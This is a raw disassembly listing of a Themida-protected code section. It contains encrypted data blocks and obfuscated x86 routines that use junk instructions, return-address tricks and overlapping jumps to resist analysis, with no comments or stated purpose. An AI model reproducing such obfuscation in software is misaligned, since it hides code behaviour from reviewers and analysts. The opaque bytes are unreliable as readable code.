		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F8CB8454h
		dd 0D625D687h, 31B58BEBh, 58060B16h, 6E9h, 0A64EC200h
		dd 89CF9A58h, 0B2361BDh, 118D8D06h, 6A060B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 9377C352h, 8E0E008h,	7E98D27h, 74000000h, 0D68543B3h
		dd 10E9F58Bh, 6E000000h, 0DF2FF589h, 10595475h,	0C2C1FEDBh
		dd 5010CF0Eh, 0BA665250h, 310F1591h, 4739ACBEh,	89585A14h
		dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E7B741C3h, 0F4160A18h, 5959D01h,	0B5FF060Bh
		dd 60B0545h, 9D8B60FCh,	60B1585h, 92D8D89h, 6861060Bh
		dd 0E6367F81h, 28F0Fh, 0D78B0000h, 7F240481h, 8B19C990h
		dd 0B0835B5h, 830F5306h, 0
; ---------------------------------------------------------------------------
		pop	edx
		push	dword ptr [ebp+60B159Dh]
		mov	esi, [ebp+60B1685h]
		call	eax
		push	0
		push	eax
		call	sub_5B171A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B171A	proc near		; CODE XREF: Themida_:005B1712p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B171A	endp

; ---------------------------------------------------------------------------
		dw 8B23h
; ---------------------------------------------------------------------------
		setalc
		mov	eax, 0
		xor	edx, [ebp+60B016Dh]
		or	eax, eax
		jz	loc_5B1787
		or	[ebp+60B05B9h],	edi
		push	dword ptr [ebp+60B281Dh]
		push	0
		push	esi
		call	sub_5B1757
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1757	proc near		; CODE XREF: Themida_:005B174Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B1757	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 587A4F16h, 81A17A3Eh, 1F0FDCF2h, 31958914h, 0FF060B05h
		dd 0B0AC595h, 458D8906h
; ---------------------------------------------------------------------------
		daa
		or	eax, [esi]


loc_5B1787:				; CODE XREF: Themida_:005B173Aj
		mov	eax, eax
		push	0
		push	edi
		call	sub_5B1794
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1794	proc near		; CODE XREF: Themida_:005B178Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B1794	endp

; ---------------------------------------------------------------------------
		mov	ds:972BEBD2h, al
		lodsd
		retn	0D58Ah
; ---------------------------------------------------------------------------
		xor	[ebp+60B32A1h],	edx
		and	edx, [ebp+60B1341h]
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_5B17CB
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_5B17E4


loc_5B17CB:				; CODE XREF: Themida_:005B17C0j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+60B1299h],	eax
		lea	ebx, [ebp+60DB381h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B17E4:				; CODE XREF: Themida_:005B17C9j
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_5B1804
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+60B1299h],	eax
		lea	ebx, [ebp+60DB022h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B1804:				; CODE XREF: Themida_:005B17EBj
		xor	[ebp+60B2429h],	edx
		mov	edx, [ebp+60B0C29h]
		mov	eax, eax
		push	0
		push	edx
		call	sub_5B181D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B181D	proc near		; CODE XREF: Themida_:005B1815p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B181D	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5B187A
		mov	esi, [ebp+60B0789h]
		mov	eax, eax
		lea	ecx, [ebp+612585Bh]
		mov	esi, [ebp+60B2A05h]
		mov	[ebp+60B174Dh],	ecx
		mov	edx, [ebp+60B294Dh]
		mov	dword ptr [ebp+60B0119h], 5850h
		push	0
		push	ebx
		call	sub_5B1864
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1864	proc near		; CODE XREF: Themida_:005B185Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B1864	endp

; ---------------------------------------------------------------------------
		dd 4D5F5564h
		db 15h,	0E5h
; ---------------------------------------------------------------------------


loc_5B187A:				; CODE XREF: Themida_:005B182Dj
		lodsd
		sbb	[edi], cl
		mov	eax, [esi]
; ---------------------------------------------------------------------------
		db 0
		dd 9D8B0000h, 60B2E81h,	100985C7h, 60Bh, 810F0000h, 4
		dd 0BA45BE66h, 0ED9B5FFh, 800F060Bh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+60B0AC5h]
		push	0
		push	edx
		call	sub_5B18B9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B18B9	proc near		; CODE XREF: Themida_:005B18B1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B18B9	endp

; ---------------------------------------------------------------------------
		db 0A5h, 0CEh, 36h
; ---------------------------------------------------------------------------
		push	esi
		or	bx, 1CCDh
		pop	esi
		jmp	loc_5B18EA
; ---------------------------------------------------------------------------
		dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h
		db 1Dh,	0EBh
; ---------------------------------------------------------------------------


loc_5B18EA:				; CODE XREF: Themida_:005B18D3j
		pusha
		xor	eax, [ebp+60B00E1h]
		or	[ebp+60B1F89h],	edx
		popa
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_5B1911
; ---------------------------------------------------------------------------
		dd 0F87EBE87h, 0B5BDB240h, 0F3413013h
		db 77h
; ---------------------------------------------------------------------------


loc_5B1911:				; CODE XREF: Themida_:005B1902j
		jmp	short loc_5B1917
; ---------------------------------------------------------------------------
		db 10h
		db 11h,	87h, 72h
; ---------------------------------------------------------------------------


loc_5B1917:				; CODE XREF: Themida_:loc_5B1911j
		jmp	loc_5B1E7C
; ---------------------------------------------------------------------------
		dd 0FE655CA6h, 28CB0611h, 469DACFFh, 0F16251A9h, 22310C14h
		dd 6BB14C93h, 191E8F54h, 0C6CE3F24h, 6EBB548Fh,	0F17B8053h
		dd 8645097Dh, 3D2F9EC5h, 4E89C4D0h, 80EE33D6h, 0DB41EFBDh
		dd 14F8D5DEh, 0F3605FA5h, 59A10112h, 5EB2967Ah,	0ED7A2F8Ch
		dd 9C486D32h, 0DA2F9E72h, 63B21BEFh, 88A2E256h,	0B683947Dh
		dd 0A2F223ADh, 84907DABh, 2B7DAA49h, 0DCE33BEAh, 94D87014h
		dd 97AAF9C3h, 0AFED228h, 0ADF25AA3h, 0E0C4F305h, 0FDDCE31Ch
		dd 526A23F8h, 8BB61A7Eh, 117FC09h, 11A32D36h, 9482E99Dh
		dd 0EA047EC3h, 573B1663h, 9482EE9Fh, 636238C3h,	7DD92CD9h
		dd 0E381C2Bh, 418FFD2Ch, 3DB1C332h, 0C3948E49h,	0B74AE4DEh
		dd 5Bh,	0F8D5DE51h, 1DAEDC14h, 2C66C394h, 0F0C26BA1h, 0DF83240h
		dd 44C8F7h, 1213E6h, 52890000h,	0BFAF8F15h, 5168BB99h
		dd 0C4B5A9EDh, 0F46A84B5h, 16FAD7DEh, 5632BAC4h, 0D9C3941Dh
		dd 0BFC647E1h, 374F3E82h, 564C8408h, 616ECD57h,	0A909537Eh
		dd 2077D670h, 0D025C211h, 0DE867EE5h, 0A617FBDAh, 95A4F75Fh
		dd 589ED21h, 0A74C595Bh, 7410945Dh, 0FBC3941Dh,	57B0A387h
		dd 196D8142h, 0AEC3941Dh, 0F01F92ADh, 0BA807FB1h, 0F80BF246h
		dd 83774E54h, 62E76B4Fh, 0C9F80FFEh, 0F008851Fh, 32417249h
		dd 9960h, 0FE0DF800h, 0ED1B7FC3h, 0FBDADE77h, 0CAA5CA71h
		dd 784009EFh, 0D00E7AF2h, 0B981C394h, 0AB1BB8Fh, 0A08FB105h
		dd 2C21CFFFh, 738937DDh, 6D2DF53h, 3C765E22h, 0AAFA2BB1h
		dd 80987593h, 1CE0D928h, 0E716C438h, 0EC87A190h, 72C6F903h
		dd 0ED97738Bh, 0B9F5F795h, 65DA0064h, 6F035AC1h, 704D2DBFh
		dd 42429BA4h, 96AB9F49h, 0D0098302h, 0D93241C2h, 62h, 0FBDADE27h
		dd 675EA617h, 2DC846F5h, 73B58FCCh, 17311524h, 0CD72FE33h
		dd 41BC2008h, 49E48F5h,	25186089h, 0D7DEC63Eh, 0AFDE16FAh
		dd 2EC3941Dh, 0B766EAE7h, 31EF536Eh, 7C84F6F7h,	0F01DA726h
		dd 2D41ABAAh, 0C3941D59h, 0C03AD42Eh, 3240F029h, 0D00h
		dd 156D9800h, 0B786112Eh, 0A2EFB3Eh, 0D3DE66DCh, 56A30AFEh
		dd 2E6A977Bh, 162B769Fh, 700B91CDh, 0D3EE3BEAh,	0B229BB35h
		dd 8D9774DBh, 0ADDA85B2h, 8D441FFAh, 8CE0EB89h,	85879262h
		dd 52A8BD9Eh, 0DFEA3FEEh, 51D8804h, 0D8764A3Eh,	77802075h
		dd 531F7981h, 59BD9746h, 0C9BD91F5h, 9D8DC03h, 19394DE1h
		dd 0B48E3A61h, 0DA04B38Bh, 152A582Ch, 0C51F3A61h, 6ED623C8h
		dd 0BD5A2E23h, 6B8F461Dh, 0D7A69A54h, 0CB0FF3CEh, 96E30CD7h
		dd 940AB1BBh, 0E05B2055h, 25947CAAh, 0A711E5D0h, 103F36A5h
		dd 771EE865h, 29CEDFD9h, 8672E1DCh, 2C363867h, 14F42h
		dd 0EF4CDE00h, 0B81BD0A1h, 53373F6Bh, 943A61FFh, 0A9C3DEE1h
		dd 734730F3h, 50BD6FD5h, 4EE67445h, 0C3941D3Ah,	39BB58Dh
		dd 0F478E279h, 0BD9EFF85h, 95CA106Ah, 5DDD95D7h, 967A94B7h
		dd 7CE7D227h, 0A14B8693h, 0A8EB9F17h, 2C723A60h, 0B650AA15h
		dd 0A39EEB52h, 0A62761DFh, 95A4F322h, 0CA43ED21h, 0A5578CB9h
		dd 2C35A584h, 0C08428BAh, 473A60A4h, 48758A73h,	936680C4h
		dd 3Dh,	5F1EBD7Dh, 470E75F8h, 44758475h, 2A729CF0h, 8C20CA51h
		dd 0C394A2A8h, 1FD7BB9Fh, 0C394A26Bh, 0E0B63769h, 0D25A809Bh
		dd 0C394A2E6h, 13E27149h, 0A0h,	68C8DCC9h, 1CCA2E13h, 760D6F26h
		dd 52140E4h, 0D2C3BD9Fh, 0C3078BC2h, 85512734h,	0D27C7FE5h
		dd 0D0B90D75h, 0BC698AC7h, 0D11A856Bh, 3325BCBAh, 0B4FB6BDFh
		dd 0BF3A6038h, 76836865h, 942A915Bh, 0ED990DBBh, 623A6093h
		dd 6F48FF18h, 68AC7D2h,	0A740EEC2h, 4C9EA5F7h, 967A59A1h
		dd 0FEA485B2h, 0FC149DE8h, 0DB149852h, 6C447109h, 63477A83h
		dd 0E8E52E9Fh, 87CF002h, 9F3076B9h, 0D4858DBBh,	5900F4C5h
		dd 0B9897D40h, 0ED286263h, 3C401697h, 7AAB3527h, 65F11F26h
		dd 4E6750CAh, 0C43C271Bh, 754850BDh, 0A2B9C3DBh, 0F4FB34B8h
		dd 764CBD85h, 0D7EA39E4h, 5F231266h, 9445CD7Bh,	40ADB683h
		dd 0BEB61A37h, 0A9ED787Fh, 5B404D67h, 7E0734Eh,	0E973C7F2h
		dd 72F76572h, 0CC2F8EFAh, 1E390146h, 0F71198D2h, 4D310016h
		dd 2CD5D0D0h, 9875EEDBh, 9CEB28Fh, 12h,	4150BD93h, 0BB35DE08h
		dd 1DC18529h, 7C46C394h, 0D4DE6CD2h, 57A009FDh,	0D127967Ah
		dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h
		dd 0FA0DFC40h, 56CF7BCFh, 0C681E689h, 4, 4BB53h, 0DE290000h
		dd 2434875Bh, 426D685Ch, 34890000h, 4A156824h, 1C890000h
		dd 0BABB5324h, 81387219h, 6E0629F3h, 1BEB815Eh,	896009C7h
		dd 241C8BDEh, 4C481h, 0EC810000h, 4, 81242489h,	42404h
		dd 575B0000h, 7B89F789h, 243C8B08h, 4C481h, 1C8B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5E2434FFh
		dd 4C481h, 6CE90000h, 0ADFFF921h, 120319D0h, 3432EF2Ch
		dd 79C69D38h
; ---------------------------------------------------------------------------


loc_5B1E7C:				; CODE XREF: Themida_:loc_5B1917j
		mov	eax, 6125D43h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0ECh, 0B6h, 0CEh
		dd 34D5A824h, 7800311Eh, 5D311D2Fh, 6F047402h, 2415428h
		dd 0BF0BBE5Ch, 699E2D1Fh, 0D811B14Fh, 0D8F55927h, 7E2F8B5Dh
		dd 0CAEC1641h, 6C308B56h, 234FB513h, 0EF291150h, 263FF35Ah
		dd 38F5C71Dh, 0D3DEF016h, 7C878E11h, 49E0C350h,	0DF852777h
		dd 2C90DE7Dh, 13DAC92Bh, 0CD09FD30h, 4233364h, 0C556A46Bh
		dd 8EA90C51h, 0F537EA66h, 0DA1BAC6Bh, 0CF4BF61Fh, 9384DF58h
		dd 284F237h, 0D604EB54h, 0E900B531h, 557h, 8A6960B2h, 243F0A1Dh
		dd 5281B8CBh, 8D566DB5h, 3E251860h, 67BD5087h, 156A9B58h
		dd 0CADACB28h, 728760F3h, 0FD6F9C47h, 86431D69h, 0BD2392C5h
		dd 14F8D5DEh, 0F3605FA5h, 26340112h, 2397A2F7h,	60C941EFh
		dd 6958AF17h, 0F94DA1E5h, 26340510h, 7886AEB9h,	56AA1E23h
		dd 8ED306A9h, 5406E6Ch,	6200444h, 7C435B02h, 0F9D42188h
		dd 0E8E53F15h, 6964BE96h, 995A7780h, 362D186Ch,	0CF0CFD9h
		dd 9579445Dh, 13E7DE24h, 0E46855AAh, 45AA3B79h,	53B71B36h
		dd 0C7C6C27Fh, 0E224D6DEh, 0B70E204h, 3F99ED01h, 146EC394h
		dd 0E607DC30h, 14DCA09Dh, 0C3943F75h, 12E6E7BDh, 324112FBh
		dd 59D6h, 0D5DE3E00h, 0AEDC14F8h, 66C3941Dh, 0C26BA12Ch
		dd 0EF3240F0h, 1, 0FAD7DE09h, 6150A716h, 575E4F9Dh, 3941CC7Ah
		dd 445EB61Ah, 3DB1C349h, 0C3941D49h, 1D4F3BB3h,	0FAC0C394h
		dd 6A67B01Dh, 2275D876h, 0F3477E82h, 4FB8BB9Fh,	0BC899A3Ah
		dd 0F605F4C8h, 3F1377DBh, 33BDDC24h, 941DCFBBh,	0CC7A40C3h
		dd 0B0043B41h, 3F83BEC9h, 8509484Eh, 1F5C0D4h, 7D119C14h
		dd 0FC048183h, 1D8EFA72h, 0AC01C394h, 84756954h, 0A6A7417Ch
		dd 17F06352h, 9A433702h, 4BCEB28Fh, 29D45C69h, 0F7931BD0h
		dd 78C3941Dh, 665A2E02h, 0F2A756C8h, 0A3823240h, 6A000000h
		dd 266EDADEh, 3675B2Fh,	8EC3CEBFh, 0D5D0CA3Ah, 0AE9D42Ch
		dd 8CF86CFEh, 3C3941Dh,	1D21A5C9h, 5CA6C394h, 257FCE78h
		dd 2A6BD01Ah, 0D3839ACDh, 5F45C8Ah, 0E914C6FDh,	0C1DBA291h
		dd 45F850FEh, 83BA4E5Fh, 0AE324183h, 9Ch, 0C233BDB6h, 3E4A9AB7h
		dd 0B1C3941Dh, 6AAE9F49h, 0F14816Bh, 1D24A0C4h,	57ABC394h
		dd 0C24B8F73h, 0DD3185BCh, 0E00DDF33h, 0A3274F94h, 24C3941Dh
		dd 3216FADEh, 0D0EF3914h, 0F223096Ch, 0E226AAA7h, 0BA636244h
		dd 608D5F66h, 70543811h, 47C77DC7h, 113FEAE0h, 50BDAE56h
		dd 98870B4Ah, 0B4B1EF2Bh, 59F7EB8Bh, 0F205A1F4h, 3B1F73C7h
		dd 7B0FA731h, 0CCC39460h, 0C5F407F6h, 7E0F272Bh, 88C39460h
		dd 4004A83Ah, 0C7C39460h, 5E221F66h, 0CEE8067Ah, 6E24C53Fh
		dd 10D3241h, 0EB000000h, 0AFED3DEh, 977B56A3h, 13E7DE26h
		dd 9F635AAAh, 1E707DB7h, 0FF24A1E3h, 18469DACh,	0F96DFF84h
		dd 0BD9EFCFCh, 0D4850971h, 806DF6C3h, 64F65A77h, 0E3576AB9h
		dd 5D29BDAFh, 0D23A60C0h, 0D4B63EE8h, 0ED3A60C0h, 0C4D136B7h
		dd 68BD6A89h, 151E8F5Dh, 533A0E38h, 0D9870B46h,	93A5A817h
		dd 0CB559CEFh, 0E50A9B1Dh, 8B7A590h, 40E451C3h,	3A60E204h
		dd 88B78Bh, 3EB9578Ah, 35752BC2h, 148062Ch, 0BDEE0000h
		dd 336EA11Eh, 6E982B61h, 27354E2Eh, 9EE1EE8Fh, 977B5FBDh
		dd 73E0DD26h, 0C0B48192h, 0E7DBC57Ah, 5B2C58CCh, 5FA33A60h
		dd 88DC79A0h, 599AEF5Eh, 6069B1D5h, 8617363Ah, 0F7E12E04h
		dd 2A301408h, 7593AEFBh, 9F29239Dh, 60487317h, 608EF43Ah
		dd 555E4746h, 0DF69FB78h, 60483357h, 3155D93Ah,	0B63A6048h
		dd 3E8FF34Ch, 1175D9F8h, 45E405F7h, 35CD2C35h, 2B000000h
		dd 0E5770C6Fh, 62E3E45Bh, 0A2465BE1h, 3FC4F084h, 57ABC394h
		dd 3F0743E3h, 1B1DC394h, 29C7D48Ah, 391DE1DCh, 0BB9F17C5h
		dd 8CC3943Fh, 9B56ADB6h, 0FE000000h, 687F1EBDh,	0C881D155h
		dd 65FE9E1Eh, 0C22E7FF7h, 5BBFBD9Fh, 221F6491h,	0CDD7A5Eh
		dd 0ED080ABh, 0A811F917h, 14F1625Fh, 0E2423603h, 3A6143DDh
		dd 51251860h, 0DCA099E8h, 28626321h, 0BA3ECF15h, 0A12D1B05h
		dd 42EC379Dh, 5083BECBh, 2F787606h, 0C12C3E12h,	836D9BB6h
		dd 70DBB86Bh, 45C93144h, 0C2B68394h, 1A505D57h,	0E173F982h
		dd 76CB394Dh, 9AB48E30h, 4F5746D0h, 9E488C70h, 673815D6h
		dd 0C5B7564Eh, 8DCEEF53h, 5DED023Dh, 33DFA4A7h,	95E00DDFh
		dd 52FCD0A4h, 0D6F6391h, 46BA95E3h, 0EED31094h,	261CBD85h
		dd 0BB538852h, 0E741F930h, 62B796B0h, 0AC80BDC2h, 704D56B7h
		dd 0B82CBE8Ch, 3A7978CCh, 79ED7F43h, 3A79780Dh,	0C68EB882h
		dd 47DF8C1Ch, 0D7BB96E1h, 57261B66h, 0D38D7140h, 4ABAD4D1h
		dd 5BAC5550h, 0F18F56Eh, 5FFC4E32h, 0D4241770h,	3551D571h
		dd 0BA30D2CEh, 4BC26C40h, 9DB80C33h, 14618607h,	96D58ACh
		dd 58CC5EEAh, 30D2CE2Ch, 5CB15FA3h, 358A7E4Bh, 8, 3DE8845Fh
		dd 0CC32DCEBh, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh
		dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh
		dd 0E78957CFh, 4C781h, 0EF830000h, 243C8704h, 242C895Ch
		dd 6F7168h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	eax, 5C7E1011h
		push	edi
		mov	edi, 7B4F36F2h
		xor	eax, edi
		pop	edi
		xor	eax, 2123788Fh
		push	435Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, eax
		push	esi
		pop	dword ptr [edi+8]
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		jmp	short loc_5B249A
; ---------------------------------------------------------------------------
		dw 0B8B3h
		dd 6126345h, 0E0FFC503h, 67269113h, 2BD01486h, 3D5CF4FFh
		dd 49D2A076h, 4A9C31EAh, 7698C97Eh, 3FEE7F8Ch, 16602B76h
		dd 7B2F229h, 34B25440h
		db 0BDh
; ---------------------------------------------------------------------------


loc_5B2499:				; CODE XREF: Themida_:005B24EBj
		inc	esp


loc_5B249A:				; CODE XREF: Themida_:005B2464j
		and	ah, [eax]
		or	ebx, [ebx+60h]
		add	eax, 2582BFC5h
		aaa
		pop	edi
		pop	esp
		das
		mov	edx, 0D71145C4h
		lock mov dword ptr [ecx-75h], 0E468FDD5h
		push	ds
		mov	esp, 819AFF65h
		jno	short near ptr loc_5B24BD+4


loc_5B24BD:				; CODE XREF: Themida_:005B24BBj
		rcl	byte ptr [edx-2360A5FEh], cl
		sub	eax, 0E7B3C3Bh
		jg	short near ptr loc_5B253D+2
		movsb
		db	36h
		add	al, 52h
		mov	al, ds:151FDA5Ch
		push	ds
		push	0FFFFFFEDh
		jnp	short near ptr loc_5B24E2+4
		jnp	short loc_5B2526
		aas
		idiv	word ptr ds:68D635EAh


loc_5B24E2:				; CODE XREF: Themida_:005B24D6j
		sbb	dword ptr [ebp+edx-12h], 0A8F01F80h
		movsb
		jo	short loc_5B2499
		movsd
		mov	byte ptr [ebp+ecx*4-73h], 23h
		adc	al, gs:[esi]
		push	0
		push	ebp
		call	sub_5B2501
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2501	proc near		; CODE XREF: Themida_:005B24F9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B2501	endp

; ---------------------------------------------------------------------------
		db 2 dup(52h), 8Dh
		dd 0BF5DFB82h, 80250FEFh, 0E4801DDFh, 4D8D8981h
		db 17h,	0Bh
; ---------------------------------------------------------------------------


loc_5B2526:				; CODE XREF: Themida_:005B24D8j
		push	es
		mov	dword ptr [ebp+60B0119h], 6E6Ch
		jnp	loc_5B253C
		xor	ax, 7552h


loc_5B253C:				; CODE XREF: Themida_:005B2531j
		push	edi


loc_5B253D:				; CODE XREF: Themida_:005B24C8j
		jmp	loc_5B2549
; ---------------------------------------------------------------------------
		mov	ch, 92h
		or	eax, 0F7972591h


loc_5B2549:				; CODE XREF: Themida_:loc_5B253Dj
		pop	ebx
		mov	dword ptr [ebp+60B1009h], 0
		push	0
		push	edi
		call	sub_5B255F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B255F	proc near		; CODE XREF: Themida_:005B2557p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B255F	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 91BA6612h, 0B5FFF987h, 60B2705h, 148A0Fh, 0FE90000h
		dd 98000000h, 58CC8F89h, 0C694F390h, 6B4D2DC2h,	95FF5CCEh
		dd 60B0AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	9FC35343h, 858B5271h, 60B2F5Dh,	95FF006Ah, 60B32DDh
		dd 6BEBC08Bh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h,	9AAB8A7Eh
		dd 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h
		dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0C397D194h, 5A382B7Eh
		dd 621C7517h, 34431400h, 7312C8CBh, 42C3FB48h, 0A22034BAh
		dd 78917644h, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h,	65B03582h
		dd 4520CD69h, 6057E78Ch, 0EB602956h, 0C51A9E04h, 5BBE94Dh
		dd 36400000h, 0DC2BC41Fh, 8A9976EDh, 3B43ACB7h,	0EA2EDF04h
		dd 0A2C908EBh, 0D50E314Bh, 5DEE338h, 0B2A19CE8h, 0EE754055h
		dd 23A7CF1Dh, 0A4C58678h, 0D5DE6FD5h, 5FA514F8h, 112F360h
		dd 8C994034h, 91CCDB1h,	1D22A6CEh, 5DA5C394h, 67BD9579h
		dd 0EB33E266h, 0AB1F3241h, 4B8F7357h, 9C67B09Dh, 941D7C08h
		dd 0AB8FF3C3h, 0EB495F48h, 0E7DBAF92h, 61B75083h, 1D780CA0h
		dd 1ECFC394h, 71553918h, 8755391Dh, 2559A58h, 618F9678h
		dd 26AA97ECh, 876C793Bh, 139D4671h, 4B5179ACh, 4BE5D38Eh
		dd 3084B1C2h, 94685130h, 1ECAD0C3h, 7C502419h, 0BDC5B418h
		dd 0DED03286h, 983B3CFh, 65E504FCh, 0A3CC3241h,	28000000h
		dd 0A4750BDh, 0A9A44286h, 92AFF45Ch, 0FC881C2Eh, 73C3941Dh
		dd 0ADC12B0Fh, 0C3941DD9h, 8C7054AEh, 941D26A4h, 0FF5CEEC3h
		dd 33DDFD07h, 1294B2A1h, 77FF0993h, 0C394DA13h,	354B7594h
		dd 0B18A5291h, 0A049B35Dh, 89324197h, 0Ah, 21F5BC23h, 0CE4EAFA7h
		dd 1EBD3A20h, 32E5BCAFh, 0AE9F4958h, 54E66A67h,	0E426A2CAh
		dd 0A0C4C394h, 0C394E424h, 92E857ABh, 0B38E9974h, 39181ECFh
		dd 0A6277D55h, 0D81B3641h, 0A634DA2Fh, 0A12E06E9h, 7E8A694Dh
		dd 6D0C78ECh, 4983C394h, 946DA125h, 0F8DC26C3h,	0DADEE84Eh
		dd 0A72B2A6Eh, 0A142D463h, 5EA10762h, 0FF05F07Ah, 7B2226C0h
		dd 0C0A91D2Ch, 46379BBAh, 4AB80C31h, 5F395550h,	59A34845h
		dd 710FD66h, 849746CAh,	544CC1B5h, 3741D359h, 9490CBBFh
		dd 0EE665CC3h, 0C394909Ah, 5A77806Dh, 9CDDD966h, 77D7E8C7h
		dd 40B667D9h, 39E43241h, 0AF32DCE3h, 88h, 0FBDADE49h, 0CCD8C517h
		dd 0ABF657F1h, 0B23A4496h, 0C3941DD6h, 92AFF459h, 48B890BEh
		dd 0BFC95352h, 1DCDB92Dh, 7842C394h, 941D9CE8h,	12F13C3h
		dd 23C9F40Ch, 2296A3F2h, 3D0C1FEEh, 18DB7549h, 0E63F95EFh
		dd 0AA13E7DBh, 64996D54h, 0A25BB13Ch, 8F3240F2h, 5Fh, 0FBDADE69h
		dd 45708471h, 0AEF6A7ABh, 85164597h, 514227B2h,	2A937791h
		dd 0AE1FE3DAh, 7AE76B6Ah, 3046AF3Eh, 6559BD01h,	0CF5F020h
		dd 0EA2AC9F4h, 4D401EBDh, 0C5E49E94h, 0E6D3222Bh, 35B3D212h
		dd 0E132C394h, 261A3941h, 0A29DEB52h, 0A72660DEh, 54512BEBh
		dd 41188DBCh, 1A432h, 0DE400000h, 221D6BD3h, 0B2067A5Eh
		dd 3F83BECBh, 9E078602h, 0F9A5BE93h, 82C66EA3h,	5C3941Dh
		dd 1D27A3CBh, 52A8C394h, 25D01A7Eh, 0A910E4D3h,	0A4986C53h
		dd 0BAC4A640h, 0A0A41C05h, 0E069D11Ah, 0F3D7BB9Ah, 5DB48155h
		dd 67D4BD9Eh, 0B718F8B4h, 0B0826EDh, 0CF94337h,	2D20CEFBh
		dd 0ED7FEDD8h, 4921734Eh, 9C54CD05h, 3A61BCE8h,	0AED1B7Fh
		dd 0DF28889Dh, 0C63A1EE2h, 0A19CE914h, 21A38387h, 103A61BCh
		dd 0CBDCC5C0h, 7F8865FEh, 0FA0FFE42h, 38A4465Ah, 82669C1Eh
		dd 81C549ADh, 257FD9ADh, 1B3643A8h, 0DF0D3CD8h,	5B242C36h
		dd 0C0000001h, 0BCC233BDh, 15DD3185h, 0C3941D71h, 2A9EA3F8h
		dd 0F71169D6h, 9C4ED5A7h, 9EFF6908h, 8FCC6BDh, 9DEC54A1h
		dd 19AB48ACh, 0D8AC9DECh, 310C15E4h, 6EDF094Dh,	96A42825h
		dd 61B61E67h, 0B094E85Ch, 5762B796h, 0D3EA3AE3h, 0CA76BE6Fh
		dd 0C5398DB4h, 5BAC1DE1h, 1796906Eh, 0A9B9D7Bh,	0B7A590E5h
		dd 2EDC3E46h, 17997E4Fh, 9152FCD0h, 3505C667h, 4EE32Ch
		dd 0BD0D0000h, 0DD0B4A50h, 0BBA1BAC1h, 941D0733h, 49D605C3h
		dd 0D10C6B47h, 7C46C563h, 7C2C5888h, 0FC363C6Bh, 55D96BF1h
		dd 3C6B7C31h, 7C3753DBh, 42B83C6Bh, 5B638DF5h, 0E58BE040h
		dd 43823C01h, 4D69FD6Fh, 223C6BDAh, 97FC1BD8h, 4000000h
